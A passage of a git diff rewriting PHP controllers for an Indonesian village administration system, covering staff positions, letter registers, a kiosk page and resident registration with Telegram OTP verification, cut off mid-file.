$this->redirect_hak_akses('u'); + $this->pamong_model->ttd('a.n', $id, $val); + redirect('pengurus'); + } + + public function ub($id = 0, $val = 0) + { + $this->redirect_hak_akses('u'); + $this->pamong_model->ttd('u.b', $id, $val); + redirect('pengurus'); + } + + public function urut($p = 1, $id = 0, $arah = 0) + { + $this->redirect_hak_akses('u'); + $this->pamong_model->urut($id, $arah); + redirect("pengurus/index/{$p}"); + } + + public function lock($id = 0, $val = 1) + { + $this->redirect_hak_akses('u'); + $this->pamong_model->lock($id, $val); + redirect('pengurus'); + } + + public function kehadiran($id = 0, $val = 1) + { + $this->redirect_hak_akses('u'); + $this->pamong_model->kehadiran($id, $val); + redirect('pengurus'); + } + + public function daftar($aksi = 'cetak') + { + // TODO :: gunakan view global penandatangan + $ttd = $this->modal_penandatangan(); + $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id); + $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id); + + $data['desa'] = $this->header['desa']; + $data['main'] = $this->pamong_model->list_data(); + + $this->load->view('home/' . $aksi, $data); + } + + public function bagan($ada_bpd = '') + { + $data['desa'] = $this->header['desa']; + $data['bagan'] = $this->pamong_model->list_bagan(); + $data['ada_bpd'] = ! empty($ada_bpd); + $this->render('home/bagan', $data); + } + + public function atur_bagan() + { + $this->redirect_hak_akses('u'); + $data['atasan'] = $this->pamong_model->list_atasan(); + $data['form_action'] = site_url('pengurus/update_bagan'); + $this->load->view('home/ajax_atur_bagan', $data); + } + + public function update_bagan() + { + $this->redirect_hak_akses('u'); + $post = $this->input->post(); + $this->pamong_model->update_bagan($post); + redirect('pengurus'); + } + + public function atur_bagan_layout() + { + $this->redirect_hak_akses('u'); + $data = [ + 'judul' => 'Atur Ukuran Bagan', + 'kategori' => ['conf_bagan'], + ]; + + $this->load->view('global/modal_setting', $data); + } + + // Jabatan + public function jabatan() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(RefJabatan::query()->urut()->latest()) + ->addColumn('ceklist', static function ($row) { + if (can('h') && ! in_array($row->id, RefJabatan::getKadesSekdes())) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h') && ! in_array($row->id, RefJabatan::getKadesSekdes())) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return view('admin.jabatan.index', [ + 'selected_nav' => 'pengurus', + ]); + } + + public function jabatanform($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $action = 'Ubah'; + $form_action = route('pengurus.jabatanupdate', $id); + $jabatan = RefJabatan::find($id) ?? show_404(); + } else { + $action = 'Tambah'; + $form_action = route('pengurus.jabataninsert'); + $jabatan = null; + } + + $selected_nav = 'pengurus'; + + return view('admin.jabatan.form', compact('selected_nav', 'action', 'form_action', 'jabatan')); + } + + public function jabataninsert() + { + $this->redirect_hak_akses('u'); + + if (RefJabatan::create(static::jabatanValidate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data', 'pengurus/jabatan'); + } + redirect_with('error', 'Gagal Tambah Data', 'pengurus/jabatan'); + } + + public function jabatanUpdate($id = '') + { + $this->redirect_hak_akses('u'); + + $data = RefJabatan::find($id) ?? show_404(); + + if ($data->update(static::jabatanValidate($this->request, $data->id))) { + redirect_with('success', 'Berhasil Ubah Data', 'pengurus/jabatan'); + } + redirect_with('error', 'Gagal Ubah Data', 'pengurus/jabatan'); + } + + public function jabatandelete($id = '') + { + $this->redirect_hak_akses('h'); + + $data = RefJabatan::find($id) ?? show_404(); + if (in_array($data->id, RefJabatan::getKadesSekdes())) { + redirect_with('error', 'Gagal Hapus Data, ' . $data->nama . ' Tidak Boleh Dihapus.', 'pengurus/jabatan'); + } + + if ($data->destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data', 'pengurus/jabatan'); + } + + redirect_with('error', 'Gagal Hapus Data', 'pengurus/jabatan'); + } + + // Hanya filter inputan + protected static function jabatanValidate($request = [], $id = null) + { + return [ + 'nama' => nama_terbatas($request['nama']), + 'tupoksi' => $request['tupoksi'], + ]; + } + + public function apidaftarpenduduk() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->whereNotIn('id', Pamong::whereNotNull('id_pend')->pluck('id_pend')->toArray()) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => "NIK : {$item->nik} - {$item->nama} - {$item->wilayah->dusun}", + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } +} diff --git a/donjo-app/controllers/buku_umum/Surat_keluar.php b/donjo-app/controllers/buku_umum/Surat_keluar.php index 5dfac73b4..6f6279461 100644 --- a/donjo-app/controllers/buku_umum/Surat_keluar.php +++ b/donjo-app/controllers/buku_umum/Surat_keluar.php @@ -1,593 +1,250 @@ -load->helper('download'); + $this->load->model(['surat_keluar_model', 'klasifikasi_model', 'pamong_model', 'penomoran_surat_model']); + $this->list_session = ['cari', 'filter']; + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + } + + public function clear($id = 0) + { + $this->session->per_page = 20; + $this->session->surat = $id; + $this->session->unset_userdata($this->list_session); + redirect('surat_keluar'); + } + + public function index($p = 1, $o = 2) + { + $data['p'] = $p; + $data['o'] = $o; + + if ($this->session->has_userdata('cari')) { + $data['cari'] = $this->session->cari; + } else { + $data['cari'] = ''; + } + + if ($this->session->has_userdata('filter')) { + $data['filter'] = $this->session->filter; + } else { + $data['filter'] = ''; + } + + if ($this->session->has_userdata('per_page')) { + $this->session->per_page = $this->input->post('per_page'); + } + + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->surat_keluar_model->paging($p, $o); + $data['main'] = $this->surat_keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['tahun_surat'] = $this->surat_keluar_model->list_tahun_surat(); + $data['keyword'] = $this->surat_keluar_model->autocomplete(); + $data['main_content'] = 'surat_keluar/table'; + $data['subtitle'] = 'Buku Agenda - Surat Keluar'; + $data['selected_nav'] = 'agenda_keluar'; + + $this->render('bumindes/umum/main', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['tujuan'] = $this->surat_keluar_model->autocomplete(); + $data['klasifikasi'] = $this->klasifikasi_model->list_kode(); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['surat_keluar'] = $this->surat_keluar_model->get_surat_keluar($id) ?? show_404(); + $data['form_action'] = site_url("surat_keluar/update/{$p}/{$o}/{$id}"); + } else { + $last_surat = $this->penomoran_surat_model->get_surat_terakhir('surat_keluar'); + $data['surat_keluar']['nomor_urut'] = $last_surat['no_surat'] + 1; + $data['form_action'] = site_url('surat_keluar/insert'); + } + + // Buang unique id pada link nama file + $berkas = explode('__sid__', $data['surat_keluar']['berkas_scan']); + $namaFile = $berkas[0]; + $ekstensiFile = explode('.', end($berkas)); + $ekstensiFile = end($ekstensiFile); + $data['surat_keluar']['berkas_scan'] = $namaFile . '.' . $ekstensiFile; + + $this->render('surat_keluar/form', $data); + } + + public function form_upload($p = 1, $o = 0, $url = '') + { + $data['form_action'] = site_url("surat_keluar/upload/{$p}/{$o}/{$url}"); + $this->load->view('surat_keluar/ajax-upload', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $this->session->cari = $cari; + } else { + $this->session->unset_userdata('cari'); + } + redirect('surat_keluar'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $this->session->filter = $filter; + } else { + $this->session->unset_userdata('filter'); + } + redirect('surat_keluar'); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->surat_keluar_model->insert(); + redirect('surat_keluar'); + } + + public function update($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->surat_keluar_model->update($id); + redirect("surat_keluar/index/{$p}/{$o}"); + } + + public function upload($p = 1, $o = 0, $url = '') + { + $this->redirect_hak_akses('u'); + $this->surat_keluar_model->upload($url); + redirect("surat_keluar/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->surat_keluar_model->delete($id); + redirect("surat_keluar/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->surat_keluar_model->delete_all(); + redirect("surat_keluar/index/{$p}/{$o}"); + } + + public function dialog_cetak($o = 0) + { + $data['aksi'] = 'Cetak'; + $data['tahun_surat'] = $this->surat_keluar_model->list_tahun_surat(); + $data['form_action'] = site_url("surat_keluar/dialog/cetak/{$o}"); + + $this->load->view('surat_keluar/ajax_cetak', $data); + } + + public function dialog_unduh($o = 0) + { + $data['aksi'] = 'Unduh'; + $data['tahun_surat'] = $this->surat_keluar_model->list_tahun_surat(); + $data['form_action'] = site_url("surat_keluar/dialog/unduh/{$o}"); + $this->load->view('surat_keluar/ajax_cetak', $data); + } + + public function dialog($aksi = 'unduh', $o = 0) + { + // TODO :: gunakan view global penandatangan + $ttd = $this->modal_penandatangan(); + $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id); + $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id); + + $data['input'] = $this->input->post(); + $this->session->filter = $data['input']['tahun']; + $data['desa'] = $this->header['desa']; + $data['main'] = $this->surat_keluar_model->list_data($o, 0, 10000); + + if ($aksi == 'unduh') { + $this->load->view('surat_keluar/surat_keluar_excel', $data); + } else { + $this->load->view('surat_keluar/surat_keluar_print', $data); + } + } + + /** + * Unduh berkas scan berdasarkan kolom surat_keluar.id + * + * @param int $idSuratKeluar Id berkas scan pada koloam surat_keluar.id + * @param int $tipe + * + * @return void + */ + public function berkas($idSuratKeluar = 0, $tipe = 0) + { + // Ambil nama berkas dari database + $berkas = $this->surat_keluar_model->getNamaBerkasScan($idSuratKeluar); + ambilBerkas($berkas, 'surat_keluar', '__sid__', LOKASI_ARSIP, ($tipe == 1) ? true : false); + } + + public function nomor_surat_duplikat() + { + if ($this->input->post('nomor_urut') == $this->input->post('nomor_urut_lama')) { + $hasil = false; + } else { + $hasil = $this->penomoran_surat_model->nomor_surat_duplikat('surat_keluar', $this->input->post('nomor_urut')); + } + echo $hasil ? 'false' : 'true'; + } + + public function untuk_ekspedisi($p, $o, $id) + { + $this->surat_keluar_model->untuk_ekspedisi($id, $masuk = 1); + redirect("ekspedisi/index/{$p}/{$o}"); + } +} diff --git a/donjo-app/controllers/buku_umum/Surat_masuk.php b/donjo-app/controllers/buku_umum/Surat_masuk.php index 8c8f38821..eb9f63b7c 100644 --- a/donjo-app/controllers/buku_umum/Surat_masuk.php +++ b/donjo-app/controllers/buku_umum/Surat_masuk.php @@ -1,585 +1,278 @@ -load->helper('download'); + $this->load->model('surat_masuk_model'); + $this->load->model('klasifikasi_model'); + $this->load->model('pamong_model'); + + $this->load->model('penomoran_surat_model'); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + $this->tab_ini = 2; + } + + public function clear($id = 0) + { + $_SESSION['per_page'] = 20; + $_SESSION['surat'] = $id; + unset($_SESSION['cari'], $_SESSION['filter']); + + redirect('surat_masuk'); + } + + public function index($p = 1, $o = 2) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + + $this->surat_masuk_model->remove_character(); + $data['per_page'] = $_SESSION['per_page']; + $data['paging'] = $this->surat_masuk_model->paging($p, $o); + $data['main'] = $this->surat_masuk_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['tahun_penerimaan'] = $this->surat_masuk_model->list_tahun_penerimaan(); + $data['keyword'] = $this->surat_masuk_model->autocomplete(); + $data['main_content'] = 'surat_masuk/table'; + $data['subtitle'] = 'Buku Agenda - Surat Masuk'; + $data['selected_nav'] = 'agenda_masuk'; + + $this->render('bumindes/umum/main', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['pengirim'] = $this->surat_masuk_model->autocomplete(); + $data['klasifikasi'] = $this->klasifikasi_model->list_kode(); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['surat_masuk'] = $this->surat_masuk_model->get_surat_masuk($id) ?? show_404(); + $data['form_action'] = site_url("surat_masuk/update/{$p}/{$o}/{$id}"); + $data['disposisi_surat_masuk'] = DisposisiSuratmasuk::where('id_surat_masuk', $id)->pluck('disposisi_ke')->toArray(); + } else { + $last_surat = $this->penomoran_surat_model->get_surat_terakhir('surat_masuk'); + $data['surat_masuk']['nomor_urut'] = $last_surat['no_surat'] + 1; + $data['form_action'] = site_url('surat_masuk/insert'); + $data['disposisi_surat_masuk'] = null; + } + + $data['ref_disposisi'] = RefJabatan::urut()->latest()->pluck('nama', 'id')->except(kades()->id); + + // Buang unique id pada link nama file + $berkas = explode('__sid__', $data['surat_masuk']['berkas_scan']); + $namaFile = $berkas[0]; + $ekstensiFile = explode('.', end($berkas)); + $ekstensiFile = end($ekstensiFile); + $data['surat_masuk']['berkas_scan'] = $namaFile . '.' . $ekstensiFile; + + $this->render('surat_masuk/form', $data); + } + + public function form_upload($p = 1, $o = 0, $url = '') + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("surat_masuk/upload/{$p}/{$o}/{$url}"); + $this->load->view('surat_masuk/ajax-upload', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('surat_masuk'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect('surat_masuk'); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->surat_masuk_model->insert(); + redirect('surat_masuk'); + } + + public function update($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->surat_masuk_model->update($id); + redirect("surat_masuk/index/{$p}/{$o}"); + } + + public function upload($p = 1, $o = 0, $url = '') + { + $this->redirect_hak_akses('u'); + $this->surat_masuk_model->upload($url); + redirect("surat_masuk/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->surat_masuk_model->delete($id); + redirect("surat_masuk/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->surat_masuk_model->delete_all(); + redirect("surat_masuk/index/{$p}/{$o}"); + } + + public function dialog_disposisi($o, $id) + { + $data = $this->modal_penandatangan(); + $data['aksi'] = 'Cetak'; + $data['form_action'] = site_url("surat_masuk/disposisi/{$id}"); + $this->load->view('global/ttd_pamong', $data); + } + + // TODO: Satukan dialog cetak dan unduh + public function dialog_cetak($o = 0) + { + $data['aksi'] = 'Cetak'; + $data['tahun_surat'] = $this->surat_masuk_model->list_tahun_surat(); + $data['form_action'] = site_url("surat_masuk/dialog/cetak/{$o}"); + $this->load->view('surat_masuk/ajax_cetak', $data); + } + + // TODO: Satukan dialog cetak dan unduh + public function dialog_unduh($o = 0) + { + $data['aksi'] = 'Unduh'; + $data['tahun_surat'] = $this->surat_masuk_model->list_tahun_surat(); + $data['form_action'] = site_url("surat_masuk/dialog/unduh/{$o}"); + $this->load->view('surat_masuk/ajax_cetak', $data); + } + + public function dialog($aksi = 'unduh', $o = 0) + { + // TODO :: gunakan view global penandatangan + $ttd = $this->modal_penandatangan(); + $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id); + $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id); + $data['input'] = $_POST; + $_SESSION['filter'] = $data['input']['tahun']; + $data['desa'] = $this->header['desa']; + $data['main'] = $this->surat_masuk_model->list_data($o, 0, 10000); + + if ($aksi == 'unduh') { + $this->load->view('surat_masuk/surat_masuk_excel', $data); + } else { + $this->load->view('surat_masuk/surat_masuk_print', $data); + } + } + + public function disposisi($id) + { + $data['input'] = $_POST; + $data['desa'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($_POST['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($_POST['pamong_ketahui']); + $data['ref_disposisi'] = RefJabatan::select(['id', 'nama'])->urut()->latest()->get()->except(kades()->id); + $data['disposisi_surat_masuk'] = DisposisiSuratmasuk::where('id_surat_masuk', $id)->pluck('disposisi_ke')->toArray(); + $data['surat'] = $this->surat_masuk_model->get_surat_masuk($id); + $this->load->view('surat_masuk/disposisi', $data); + } + + /** + * Unduh berkas scan berdasarkan kolom surat_masuk.id + * + * @param int $idSuratMasuk Id berkas scan pada koloam surat_masuk.id + * @param int $tipe + * + * @return void + */ + public function berkas($idSuratMasuk = 0, $tipe = 0) + { + // Ambil nama berkas dari database + $berkas = $this->surat_masuk_model->getNamaBerkasScan($idSuratMasuk); + ambilBerkas($berkas, 'surat_masuk', '__sid__', LOKASI_ARSIP, ($tipe == 1) ? true : false); + } + + public function nomor_surat_duplikat() + { + if ($_POST['nomor_urut'] == $_POST['nomor_urut_lama']) { + $hasil = false; + } else { + $hasil = $this->penomoran_surat_model->nomor_surat_duplikat('surat_masuk', $_POST['nomor_urut']); + } + echo $hasil ? 'false' : 'true'; + } +} diff --git a/donjo-app/controllers/fmandiri/Anjungan.php b/donjo-app/controllers/fmandiri/Anjungan.php index 768cfe406..e24e0e7dc 100644 --- a/donjo-app/controllers/fmandiri/Anjungan.php +++ b/donjo-app/controllers/fmandiri/Anjungan.php @@ -1,553 +1,83 @@ -load->helper('web'); + $this->load->model('pamong_model'); + if (! cek_anjungan() || $this->cek_anjungan['tipe'] != 1) { + redirect('layanan-mandiri/beranda'); + } + } + + public function index() + { + $menu = AnjunganMenu::where('status', 1)->get()->map(static function ($item) { + $item->link = menu_slug($item->link); + + return $item; + }); + + $jumlah_artikel = setting('anjungan_layar') == 1 ? 4 : 6; + + $data = [ + 'cek_anjungan' => $this->cek_anjungan, + 'arsip_terkini' => Artikel::arsip()->orderBy('tgl_upload', 'DESC')->limit($jumlah_artikel)->get(), + 'arsip_populer' => Artikel::arsip()->orderBy('hit', 'DESC')->limit($jumlah_artikel)->get(), + 'tanggal' => Carbon::now()->dayName . ', ' . date('d/m/Y'), + 'menu' => $menu, + 'slides' => count($menu) > 5 ? 5 : count($menu), + 'teks_berjalan' => setting('anjungan_teks_berjalan'), + 'gambar' => Galery::where('parrent', setting('anjungan_slide'))->where('enabled', 1)->get(), + 'pamong' => $this->pamong_model->list_aparatur_desa()['daftar_perangkat'], + ]; + + $layar = setting('anjungan_layar') == 1 ? 'index' : 'potrait'; + + return view('layanan_mandiri.anjungan.' . $layar, $data); + } +} diff --git a/donjo-app/controllers/fmandiri/Bantuan.php b/donjo-app/controllers/fmandiri/Bantuan.php index 78c42c50c..edbc7abf1 100644 --- a/donjo-app/controllers/fmandiri/Bantuan.php +++ b/donjo-app/controllers/fmandiri/Bantuan.php @@ -1,545 +1,67 @@ -load->model('program_bantuan_model'); + } + + public function index() + { + $data['bantuan_penduduk'] = $this->program_bantuan_model->daftar_bantuan_yang_diterima($this->is_login->nik); + + $this->render('bantuan', $data); + } + + public function kartu_peserta($aksi = 'tampil', $id_peserta = '') + { + $data = $this->program_bantuan_model->get_program_peserta_by_id($id_peserta); + // Hanya boleh menampilkan data pengguna yang login + // ** Bagi program sasaran pendududk ** + // TO DO : Ganti parameter nik menjadi id + if ($aksi == 'tampil') { + $this->load->view(MANDIRI . '/peserta_bantuan', $data); + } else { + ambilBerkas($data['kartu_peserta'], MANDIRI . '/bantuan', null, LOKASI_DOKUMEN); + } + } +} diff --git a/donjo-app/controllers/fmandiri/Beranda.php b/donjo-app/controllers/fmandiri/Beranda.php index db158033a..c9c65b2f0 100644 --- a/donjo-app/controllers/fmandiri/Beranda.php +++ b/donjo-app/controllers/fmandiri/Beranda.php @@ -1,545 +1,133 @@ -load->model(['mandiri_model', 'penduduk_model', 'kelompok_model', 'web_dokumen_model', 'pendapat_model', 'mailbox_model']); + $this->load->helper('download'); + } + + public function index() + { + $inbox = $this->mailbox_model->count_inbox_pesan($this->is_login->nik); + if ($inbox) { + redirect('layanan-mandiri/pesan-masuk'); + } else { + redirect('layanan-mandiri/permohonan-surat'); + } + } + + public function profil() + { + $data = [ + 'penduduk' => $this->penduduk_model->get_penduduk($this->is_login->id_pend), + 'kelompok' => $this->penduduk_model->list_kelompok($this->is_login->id_pend), + ]; + + $this->render('profil', $data); + } + + public function cetak_biodata() + { + $data = [ + 'desa' => $this->header, + 'penduduk' => $this->penduduk_model->get_penduduk($this->is_login->id_pend), + ]; + + $this->load->view('sid/kependudukan/cetak_biodata', $data); + } + + public function cetak_kk() + { + if ($this->is_login->id_kk == 0) { + // Jika diakses melalui URL + $respon = [ + 'status' => 1, + 'pesan' => 'Anda tidak terdaftar dalam sebuah keluarga', + ]; + $this->session->set_flashdata('notif', $respon); + + redirect('layanan-mandiri/beranda'); + } + + $data = $this->keluarga_model->get_data_cetak_kk($this->is_login->id_kk); + + $this->load->view('sid/kependudukan/cetak_kk_all', $data); + } + + public function ganti_pin() + { + $data = [ + 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend), + 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend), + 'cek_anjungan' => $this->cek_anjungan, + 'form_action' => site_url('layanan-mandiri/proses-ganti-pin'), + ]; + + $this->render('ganti_pin', $data); + } + + public function proses_ganti_pin() + { + $this->mandiri_model->ganti_pin(); + redirect('layanan-mandiri/ganti-pin'); + } + + public function keluar() + { + $this->mandiri_model->logout(); + redirect('layanan-mandiri/masuk'); + } + + // TODO: Pindahkan ke model + public function pendapat(int $pilihan = 1) + { + $data = [ + 'config_id' => identitas('id'), + 'pengguna' => $this->is_login->id_pend, + 'pilihan' => $pilihan, + ]; + + $this->pendapat_model->insert($data); + redirect('layanan-mandiri/keluar'); + } +} diff --git a/donjo-app/controllers/fmandiri/Daftar.php b/donjo-app/controllers/fmandiri/Daftar.php index 99cb6dae1..1ffd47424 100644 --- a/donjo-app/controllers/fmandiri/Daftar.php +++ b/donjo-app/controllers/fmandiri/Daftar.php @@ -1,537 +1,100 @@ -session->daftar = true; + $this->load->model(['mandiri_model', 'theme_model']); + if (! $this->setting->tampilkan_pendaftaran) { + redirect('layanan-mandiri/masuk'); + } + } + + public function index() + { + if ($this->session->mandiri == 1) { + redirect('layanan-mandiri/beranda'); + } + + //Initialize Session ------------ + $this->session->unset_userdata('balik_ke'); + if (! isset($this->session->mandiri)) { + // Belum ada session variable + $this->session->mandiri = 0; + $this->session->mandiri_try = 4; + $this->session->mandiri_wait = 0; + $this->session->daftar = true; + } + + $data = [ + 'header' => $this->header, + 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(), + 'form_action' => site_url('layanan-mandiri/proses-daftar'), + ]; + + $this->load->view(MANDIRI . '/masuk', $data); + } + + //Prosess Pendaftaran + public function proses_daftar() + { + $post = $this->input->post(); + $data['nama'] = $post['daftar_nama']; + $data['nik'] = $post['daftar_nik']; + $data['kk'] = $post['daftar_kk']; + $data['tgl_lahir'] = date('Y-m-d', strtotime($post['daftar_tgl_lahir'])); + $data['pin1'] = $post['daftar_pin1']; + $data['pin2'] = $post['daftar_pin2']; + + if ($data['pin1'] == $data['pin2']) { + $this->mandiri_model->pendaftaran_mandiri($data); + } else { + $respon = [ + 'status' => -1, + 'pesan' => 'Mohon Maaf, PIN yang dimasukan tidak sama', + ]; + $this->session->set_flashdata('info_pendaftaran', $respon); + } + redirect('layanan-mandiri/daftar'); + } +} diff --git a/donjo-app/controllers/fmandiri/Daftar_verifikasi.php b/donjo-app/controllers/fmandiri/Daftar_verifikasi.php index 4519f0f59..8a8d22c20 100644 --- a/donjo-app/controllers/fmandiri/Daftar_verifikasi.php +++ b/donjo-app/controllers/fmandiri/Daftar_verifikasi.php @@ -1,625 +1,333 @@ -session->daftar_verifikasi = true; + $this->load->model(['mandiri_model', 'theme_model']); + $this->load->library('OTP/OTP_manager', null, 'otp_library'); + if (! $this->setting->tampilkan_pendaftaran) { + redirect('layanan-mandiri/masuk'); + } + } + + public function index() + { + if ($this->session->mandiri == 1) { + redirect('layanan-mandiri/beranda'); + } + + //Initialize Session ------------ + $this->session->unset_userdata('balik_ke'); + if (! isset($this->session->mandiri)) { + // Belum ada session variable + $this->session->mandiri = 0; + $this->session->mandiri_try = 4; + $this->session->mandiri_wait = 0; + $this->session->daftar_verifikasi = true; + } + + $data = [ + 'header' => $this->header, + 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(), + 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->session->is_verifikasi['id']), + 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->session->is_verifikasi['id']), + 'form_kirim_userid' => site_url('layanan-mandiri/daftar/verifikasi/telegram/kirim-userid'), + 'form_kirim_email' => site_url('layanan-mandiri/daftar/verifikasi/email/kirim-email'), + ]; + + if ($data['tgl_verifikasi_telegram']) { + $this->session->set_flashdata('sudah-diverifikasi', '#langkah-4'); + } + + if ($data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah-4'); + } + + if ($data['tgl_verifikasi_telegram'] && $data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-verifikasi-semua', 1); + } + + $this->session->set_flashdata('tab-aktif', [ + 'status' => 0, + ]); + + $this->load->view(MANDIRI . '/masuk', $data); + } + + /** + * Verifikasi Telegram + */ + public function telegram() + { + $data = [ + 'header' => $this->header, + 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(), + 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->session->is_verifikasi['id']), + 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->session->is_verifikasi['id']), + 'form_kirim_userid' => site_url('layanan-mandiri/daftar/verifikasi/telegram/kirim-userid'), + 'form_kirim_otp' => site_url('layanan-mandiri/daftar/verifikasi/telegram/kirim-otp'), + ]; + + if ($data['tgl_verifikasi_telegram']) { + $this->session->set_flashdata('sudah-diverifikasi', '#langkah4'); + } + + if ($data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4'); + } + + $this->session->set_flashdata('tab-aktif', [ + 'status' => 0, + ]); + + $this->load->view(MANDIRI . '/masuk', $data); + } + + /** + * Langkah 2 Verifikasi Telegram + */ + public function kirim_otp_telegram() + { + $post = $this->input->post(); + $userID = $post['telegram_userID']; + $token = hash('sha256', $raw_token = mt_rand(100000, 999999)); + $id_pend = $this->session->is_verifikasi['id']; + + $this->db->trans_begin(); + + if ($this->otp_library->driver('telegram')->cek_akun_terdaftar(['telegram' => $userID, 'id' => $id_pend])) { + try { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $this->db->where('id', $id_pend)->update('tweb_penduduk', [ + 'telegram' => $userID, + 'telegram_token' => $token, + 'telegram_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')), + ]); + + $this->otp_library->driver('telegram')->kirim_otp($userID, $raw_token); + + $this->db->trans_commit(); + } catch (\Exception $e) { + log_message('error', $e); + + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => -1, + 'pesan' => 'Tidak berhasil mengirim OTP, silahkan mencoba kembali.', + ]); + + $this->db->trans_rollback(); + + redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-2'); + } + + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => 1, + 'pesan' => 'OTP telegram anda berhasil terkirim, silahkan cek telegram anda!', + ]); + + $this->session->set_flashdata('kirim-otp-telegram', '#langkah3'); + + redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-3'); + } else { + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => -1, + 'pesan' => 'Akun Telegram yang Anda Masukkan tidak valid,
